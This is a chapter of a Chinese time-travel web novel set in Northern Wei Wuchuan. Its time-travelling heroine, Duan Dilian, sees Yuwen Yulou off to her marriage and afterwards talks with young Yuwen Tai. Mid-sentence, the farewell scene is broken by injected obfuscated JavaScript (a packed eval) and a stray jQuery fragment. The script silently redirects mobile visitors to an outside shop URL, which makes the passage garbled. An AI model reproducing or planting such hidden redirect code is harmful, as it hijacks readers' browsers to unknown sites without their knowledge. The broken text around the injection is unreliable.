延昌三年七月初六,武川镇
天还没亮,宇文家的院子里就已经灯火通明。
段蒂联从大青山御风而下,远远看见武川镇那片低矮的土坯房聚居区里,宇文家的院子点满了灯火,正屋、偏房、灶房,甚至院门口都挂了两盏临时用破瓦罐改的油灯,灯芯噼啪,火光在晨风里摇晃,远远看去像一颗落在黄土里的星星。她落地的动作很轻,宇文肱正在院门口往骡车上捆嫁妆,一回头看到段蒂联站在晨雾里,愣了好一会儿才认出是她,“阿莲来了!”宇文肱直起腰,憨厚的脸上堆满笑意,“这么早?天还黑着呢!”
“黑獭他二姐出嫁,我能不来?”段蒂联卷起袖子大步跨进院子,“王婶儿呢?玉楼呢?还缺什么?骡车够不够?路上干粮备足了吗?”宇文肱被她这一连串问题轰得插不上嘴,只能往正屋方向指了指。
正屋里,王素正在给宇文玉楼梳头,十三岁的新娘子坐在正屋正中,穿了一身茜红色的嫁衣,就是上回段蒂联送的那匹茜红色细麻布做的,王素和阎容姬、贺拔敏、卢晚儿三个儿媳轮流缝了半个月,针脚密密实实,袖口和领缘还绣了一圈暗纹缠枝花。玉楼平时是个泼辣爽利的姑娘,笑起来比军汉还豪迈,但此刻她安静地坐在那里任由阿娘给她梳头。
段蒂联站在门口,忽然觉得喉咙有点堵,她在街道办工作两年,调解过无数次家庭纠纷,送过无数次物资,自认为已经练出了一副铁石心肠。此刻看着宇文玉楼穿着红嫁衣坐在昏黄的油灯光里,旁边围着宇文玉华、阎容姬、贺拔敏、卢晚儿几个,有的挺着肚子有的抱着孩子,都在强忍着眼泪,她觉得自己那点所谓的“铁石心肠”全是纸糊的。
“阿姐来了!”宇文玉华最先发现她,站起来迎了两步,十五岁的宇文玉华已经显怀了,小腹微微隆起,走路不自觉地往后仰,拉着段蒂联的手往里走,声音努力保持轻快,“玉楼,你看谁来送你了!”
宇文玉楼抬起头,十三岁的姑娘眼圈红红的,鼻尖也红红的,硬是扯出了一个笑:“阿姐!这么早赶来,黑獭那小子又去城门口蹲你了?”“没,今天没蹲,我直接飞进来的。”段蒂联走过去,在王素旁边蹲下身,看着镜子里的宇文玉楼,茜红色的嫁衣衬得她肤色白皙,王素给她梳的是鲜卑女子出嫁时常见的辫发样式,十几根小辫子汇成一股大的盘在头顶,缀了几颗红珊瑚珠子。“好看,”段蒂联真心实意地夸了一句,宇文玉楼的眼泪唰地就下来了。她不想哭的,从定亲那天起就告诉自己,六镇的女儿不兴哭哭啼啼那一套,段蒂联一句简简单单的“好看”,把她憋了大半个月的眼泪全逼了出来。
“阿姐!”宇文玉楼一脑袋扎进段蒂联怀里,哭得肩膀一抽一抽的,“我不想去狄那!我不想离开阿娘!我不想离开你们,我害怕!”王素手里的梳子掉在地上,转过身去,抬手捂住了嘴,卢晚儿的眼圈瞬间就红了,她才十五岁,进门半年,跟这个小姑子处得比亲姐妹还好,她低下头假装整理衣襟,手指颤抖。
段蒂联伸手搂住小姑娘,一只手拍着她的后背,另一只手悄悄从袖子里抽出条帕子塞给她。“怕什么?”她的声音温和坚定,“尉迟俟兜那小子阿姐见过,老实本分,对你有心。他来定亲那天在武川镇外等了整整一个时辰,你阿爹故意考验他,他站得笔直。他要是敢对你不好,阿姐飞过去收拾他,从大青山到狄那县,阿姐能瞬移能御风。”
宇文玉楼吸了吸鼻子,又哭又笑地点了点头,王素弯腰捡起梳子,抹抹自己眼角泪珠,继续给女儿梳头。
天蒙蒙亮的时候,段蒂联终于脱开身,在院子角落里找到了宇文泰。小黑獭坐在柴火堆上,抱着那把从不离身的木剑,眼睛望着正屋里那盏油灯,晨风吹动额前的碎发,露出紧皱的眉头。宇文玉荷蹲在他旁边,拿树枝在地上画小人,这次画的是五个小人,大的两个是阿爹阿娘,小的三个是她自己、四哥,还有一个穿裙子的小人。
“四哥,二姐为什么要去那么远的地方?”宇文玉荷抬头问。
“二姐以后还能回来吗?”宇文玉荷又问,“阿娘娘说大安郡要坐很久很久的骡车,比去怀朔还远。怀朔那么远阿姐飞一盏茶就到了,大安郡阿姐飞一盏茶的功夫能到吗?”
“要两盏茶的时间,”宇文泰终于开口了,“我问过阿姐。”
“那也不算远嘛。”宇文玉荷放心地继续画小人,给她画上的二姐小人加了一朵头花,“阿姐飞去就能把二姐接回来,那我们过年就能见到二姐了对不对?”
段蒂联走过去,在宇文泰旁边坐下,柴火堆有点硌人,顺着他的目光看向正屋里那盏油灯。火光透过窗户纸,把宇文玉楼和王素的剪影投在窗上,母亲在给女儿梳头。
“黑獭在想什么?”段蒂联问。
宇文泰沉默了好一会儿,才闷声开口:“二姐只有十三岁,阿爹说,狄那县不算远,骑马走快些几天就到了。但二姐嫁过去以后要侍奉公婆、操持家务、生儿育女,她一年能回来几次?三年能回来一次吗?五年能回来一次吗?”他声音越来越小,“等她下次回来,我都长大了……”
段蒂联侧头看着他,她斟酌了片刻,没有说那些安慰的话,那些话太轻了,配不上一个七岁孩子此刻沉默的悲伤,把小黑獭往自己身边揽住,让他靠着自己的手臂,“黑獭,你二姐很勇敢,十三岁离开家去一个完全陌生的地方,跟一群完全陌生的人过日子,不是每个人都有这个勇气的。”
“二姐从小就勇敢,”宇文泰说,“小时候柔然夜袭,阿爹不在家,阿娘带着我们几个躲地窖。地窖口被火燎了,二姐抱着玉荷捂着她的嘴不让她哭出声,大哥回来把我们从地窖里拉出来,二姐的手被燎了好几个泡,她一声没吭。”他停顿了一下,又说:“二姐从来不哭的,可是刚才在阿娘和嫂嫂们面前,她哭了。”
段蒂联回过神,低头发现宇文玉荷不知道什么时候蹭了过来,挤在她和宇文泰之间,抱着她的手臂,脑袋靠在她肩膀上。地上那幅歪歪扭扭的涂鸦还没画完,穿裙子的小人没有画脸,只画了两条长长的辫子。
送亲的队伍终于要出发了,宇文肱那双布满老茧的手在衣襟上擦了又擦,这位在边关打了二十年仗的老军汉,平时说话声如洪钟,此刻站在女儿的送亲队伍前,嘴唇哆嗦了好几次,才憋出一句:“到了婆家,别给武川丢人。”
宇文玉楼跪在双亲面前,额头贴地,行了一个鲜卑女儿出嫁时最郑重的大礼。“阿爹,阿娘,女儿不孝,不能常在膝下侍奉,山高水远,望双亲自珍重。”她的声音在风中发颤。
王素她把女儿拉起来一把搂进怀里,在女儿耳边反复念叨:“受了委屈就捎信回来,别忍着,你阿爹虽然只是个军户,但武川镇的男人没有一个敢说自己女儿在婆家受气还不吭声的。”
宇文玉楼把脸埋在母亲肩窝里,用力点了点头,大哥宇文颢走上前,把一个小布包塞进妹妹手里,“路上饿了吃,你大嫂给你烙的,芝麻馅的。”二十二岁的汉子蹲下身,替妹妹整了整衣襟,声音压得很低,“妹夫要是敢欺负你,大哥骑马去狄那,看我不把他揍得满地找牙!”
“大哥你连我都打不过,你还揍他?”
“那是哥让着你!”宇文颢难得有点窘,站起身清了清嗓子,“到了婆家就别跟人打架了,打完了没人给你撑腰。”
大嫂阎容姬抱着一岁的宇文护上前来,把一个绣了两只小燕子的荷包系在玉楼腰间,“平平安安,”她轻声说。
二哥宇文连话不多,在妹妹面前站了好一会儿,最后只是拍了拍她的头:“你比二哥强,二哥成亲的时候腿都在抖。”
二嫂贺拔敏抱着元宝,把一小罐自己腌的咸菜塞进玉楼的包袱里,“到了那边吃不惯饭菜就吃点这个,开胃的。”
三哥宇文洛生别过头不让人看到他红肿的眼睛,说话瓮声瓮气的:“哥以后有钱了给你置办全套嫁妆补上。”
三嫂卢晚儿上前抱住玉楼,相顾无言,唯有女子最懂女子。
大姐宇文玉华由丈夫贺兰初真搀着,挺着五个月的肚子走到妹妹面前,从自己手腕上摘下一只玉镯子,套在妹妹手上,她努力笑着,“我嫁得近,天天能回来蹭饭,这只镯子你戴着,就当是大姐在陪着你。”玉镯内侧刻了一个歪歪扭扭的“华”字,是玉华小时候自己拿刀刻的,是姐姐的嫁妆,她紧紧攥着镯子,嘴唇抖得说不出话。
玉荷扑上去抱住二姐的腿哇哇大哭,什肥、导儿、护儿几个小的也跟着哭,元宝在贺拔敏怀里被哭声吓醒了,咧着嘴也开始加入合奏,院子里一时间鸡飞狗跳。玉荷哭得最大声,眼泪鼻涕糊了一脸,死死揪着玉楼的裙摆,“二姐你别走!我把我的糖都给你!我把莲阿姐给我的糖都攒着呢一块没舍得吃!都给你你别走!”
宇文玉楼蹲下身把妹妹抱起来,好半天才笑着说了句:“傻玉荷,等你出嫁的时候二姐一定回来,回来给你梳头,”玉荷哭着摇头说不嫁,死也不嫁,嫁人就要去好远好远的地方。
宇文泰站在人群后面,咬着下唇,嘴唇被咬出了一道白印,等所有人都道完别,才迈步上前,把腰间的木剑解下来,双手捧到姐姐面前,“二姐,这把剑是阿姐送我的,是最好的剑,你带着路上防身。到了狄那,让二姐夫知道武川娘家有人。”段蒂联本来在玉荷哭的时候还能绷住,心想小孩哭婚是正常流程。但此刻她转过身去假装整理袖口,仰头使劲儿眨眼把眼泪憋回去。
宇文玉楼没有接木剑,她抱住弟弟,“黑獭,阿姐的剑你自己留着,将来用它保护你喜欢的人。”又从怀里取出一串用红绳编的小狼牙坠子系在宇文泰的手腕上,“这是二姐自己的护身符。现在它替我护着你。”
宇文泰低头看着手腕上那枚小小的狼牙,咬着嘴唇,眼泪砸在狼牙上。宇玉楼站起身,挨个抱过所有人,抱完阿爹阿娘,抱完兄嫂姐姐妹妹,抱完侄儿,最后走到段蒂联面前,“阿姐,父亲和母亲年纪大了,阿爹腿上有旧伤,阿娘腰不好阴天下雨就疼,他们不肯跟孩子们说,我一直都知道。阿姐,我不在的时候,拜托你多看顾他们,偶尔来家里坐坐,陪阿爹阿娘说说话。”
段蒂联握住她的手,郑重地点了点头:“我答应你,玉楼。”
“阿姐,你来了以后,武川镇变得不一样了。阿娘脸上的笑多了,黑獭比从前更爱说话,连玉荷那丫头都学会写自己名字了,”玉楼转身走向骡车。
尉迟俟兜这个十四岁的少年从头到尾安静地站在一旁,他看到玉楼走过来,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17781414|210109||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
伸手扶她上车,玉楼坐稳后,他侧头低声问了句什么,玉楼摇了摇头,他又说了句什么,玉楼微微点了点头。骡车缓缓驶动,车轮碾过武川镇的黄土路,发出吱呀吱呀的响声,送亲的队伍跟在车后,尉迟家的族老宗亲们个个神情郑重,宇文氏的送亲兄弟们骑马护卫在侧。镇上的邻居们都自发聚在路边,王婆婆拄着拐杖说玉楼小时候摘过她家的枣,罗三娘和刘大妈冲骡车挥手。
段蒂联站在原地,目送那辆骡车越走越远,直到变成晨光里的一个小黑点,玉荷小姑娘把脸埋在她的裙子里哭,哭得浑身发抖。“阿姐,”宇文玉荷抽抽噎噎地说,“二姐还会回来吗?”
“会的。”段蒂联蹲下身,把小姑娘抱起来,宇文玉荷立刻趴在她肩上继续哭,“会的,阿姐答应你。”
她转头看了一眼宇文泰。小黑獭站在院门口,低头看着手腕上那枚狼牙坠子,眼泪不停。段蒂联抱着宇文玉荷走过去,弯下腰,把他也揽进怀里。宇文泰紧紧攥着她后背的衣裳。
送完亲,宇文家的院子里安静了,宇文颢领着三个弟弟去收拾院门口堆放的杂物,王素和儿媳们在灶房刷碗,玉华和初真告辞回到了自己的小家,几个小崽子们精力旺盛地在院子里继续追逐打闹。段蒂联在灶房帮王素收拾碗筷,“阿莲,”王素把最后一只碗摞进柜子里,在围裙上擦了擦手,转身看着段蒂联,“今天多谢你,你能来送玉楼,比什么都强。”语气已经恢复了平时的爽利,六镇的眷属没有太多时间悲伤。“婶儿您别跟我客气。”段蒂联把洗干净的锅放回灶台上,“玉楼是个好姑娘,尉迟家那小子看着也老实,会好好待她的。”王素点了点头,看了一眼门外的方向,叹了口气,没有再多说什么。
宇文泰坐在门槛上,宇文玉荷靠在他旁边睡着了,脑袋歪在四哥肩上,手里还攥着段蒂联早上给她编的草蚂蚱。段蒂联在宇文泰旁边坐下,“阿姐,”宇文泰忽然开口,“二姐嫁去狄那,大姐嫁给贺兰大姐夫,以后玉荷也会嫁人,她们都要离开离开家,去一个很远的地方,为什么?”
段蒂联想了想,说:“因为在大魏,在六镇,女儿长大了要嫁人,跟着丈夫去他的家乡,这是规矩。”
“规矩是谁定的?”
“朝廷,鲜卑旧俗,汉人的礼法,很多人定的,一个人改不了。”
宇文泰沉默了一会儿,低头看着手腕上那枚狼牙坠子,“那我将来娶的人,也要离开她的家,来武川吗?”
“也许吧。”
“那我不娶别人了。”宇文泰说,语气平淡,“我要娶阿姐,阿姐没有娘家可以离开,也不会伤心。”
段蒂联脚下一滑“你说什么?!”
“阿姐是神仙,”宇文泰的逻辑异常清晰,“所以嫁给谁都不会离开谁,那我娶阿姐最合适。”
段蒂联张了张嘴,又闭上了,傻小子阿姐也有家的,那个家在2026年的长安和辽东,“黑獭,”她艰难地开口,“阿姐是庙祝,不能随便嫁人的。”
“我知道,所以我先当将军,当了将军再娶阿姐,现在先排队。”
这孩子在说排队,他以为娶阿姐跟排队领物资一样,按先来后到叫号吗!
“谁教你这个词的?”
“如愿哥说的,他说武川镇喜欢阿姐的人能从城门排到大青山,想娶阿姐也要排队,我可以排第一个,因为我认识阿姐最早。”
段蒂联看着他的眼睛,想起六月十四那夜之后来武川时宇文泰的眼神,这孩子是不是知道了什么?感受到了一种他还不能完全理解的威胁,在用七岁孩子能想到的最直接的方式,试图把阿姐拉回来?
她伸手揉了揉宇文泰的头发,“黑獭,你还小,等你长大了,会遇到很多人,看到更大的世界。到那时候你就会觉得,娶阿姐这种话,只是小时候说着玩的。”
宇文泰没有反驳,把木剑抱得更紧了些,我不是说着玩的,等我长大阿姐就知道了。他把脑袋靠在段蒂联的手臂上,闭上了眼睛。
段蒂联抬头望向狄那县的方向,从武川到狄那,在2026年,是呼和浩特北边的武川县到山西的寿阳县,高速几百公里的路程,自驾开车几个小时,在514年的北魏,这个距离意味着一辈子的聚少离多。
她闭上眼,用神识追上了那支从北往南赶路的队伍,骡车慢悠悠地走着,宇文玉楼靠在车壁上,段蒂联凝神细听。风声里夹杂着女孩儿轻微的呢喃,是武川镇的方向,她在念阿爹阿娘、大哥大嫂、二哥二嫂、三哥三嫂、大姐大姐夫、三妹、黑獭、几个小侄子,还有莲阿姐,她把每个人的名字都念了一遍,擦干眼泪,坐直了身子。
尉迟俟兜在车外低声问:“渴不渴?前面有条河,我灌点水来。”
“不用。”宇文玉楼的声音还带着鼻音,“走吧,天黑前还得赶到下一个驿站。”
骡车继续往前走,玉楼摩挲着大姐戴在她手腕上的镯子,她知道无论走多远,武川镇永远在身后。
→→你永远想象不出武川小狼崽的执念有多强烈,段蒂联flag满身
尉迟迥和尉迟纲的爸爸妈妈顺利结合,黑獭的外甥们补货中
本章泰莲伪姐弟日常,下章欢莲撒糖,成年人之间的极限拉扯